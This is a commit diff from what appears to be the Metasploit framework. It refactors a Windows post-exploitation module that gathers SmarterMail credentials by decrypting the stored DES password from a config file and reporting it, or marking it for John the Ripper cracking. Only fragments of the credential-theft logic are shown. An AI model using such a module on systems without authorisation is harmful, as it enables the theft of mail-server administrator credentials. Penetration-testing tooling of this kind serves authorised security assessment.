Skip to content

Commit fc35a53

Browse files
committed
Pass options correctly
1 parent 89d03a1 commit fc35a53

File tree

1 file changed

+15
-12
lines changed

1 file changed

+15
-12
lines changed

modules/post/windows/gather/credentials/smartermail.rb

Lines changed: 15 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -144,12 +144,12 @@ def get_smartermail_creds(path)
144144

145145
if password
146146
begin
147-
result['password'] = decrypt_des(Rex::Text.decode_base64(password))
148-
result['password_type'] = :password
147+
result[:password] = decrypt_des(Rex::Text.decode_base64(password))
148+
result[:private_type] = :password
149149
rescue OpenSSL::Cipher::CipherError
150-
result['password'] = password
151-
result['password_type'] = :nonreplayable_hash
152-
result['jtr_format'] = 'des'
150+
result[:password] = password
151+
result[:private_type] = :nonreplayable_hash
152+
result[:jtr_format] = 'des'
153153
end
154154
end
155155

@@ -170,12 +170,12 @@ def report_cred(opts)
170170
session_id: session_db_id,
171171
origin_type: :session,
172172
private_data: opts[:password],
173-
private_type: opts[:password_type],
173+
private_type: opts[:private_type],
174174
username: opts[:user]
175175
}
176176

177-
if opts['password_type'] == :nonreplayable_hash
178-
credential_data.merge!(jtr_format: opts['jtr_format'])
177+
if opts[:private_type] == :nonreplayable_hash
178+
credential_data.merge!(jtr_format: opts[:jtr_format])
179179
end
180180

181181
credential_data.merge!(service_data)
@@ -201,15 +201,17 @@ def run
201201

202202
# retrieve username and decrypted password from config file
203203
result = get_smartermail_creds(config_path)
204-
if result['password'].nil?
204+
if result[:password].nil?
205205
print_error "#{peer} - Could not decrypt password string"
206206
return
207207
end
208208

209209
# report result
210210
port = get_web_server_port || 9998 # Default is 9998
211-
user = result['username']
212-
pass = result['password']
211+
user = result[:username]
212+
pass = result[:password]
213+
type = result[:private_type]
214+
format = result[:jtr_format]
213215
print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'"
214216

215217
report_cred(
@@ -218,7 +220,8 @@ def run
218220
service_name: 'http',
219221
user: user,
220222
password: pass,
221-
223+
private_type: type,
224+
jtr_format: format
222225
)
223226
end
224227
end

0 commit comments

Comments
 (0)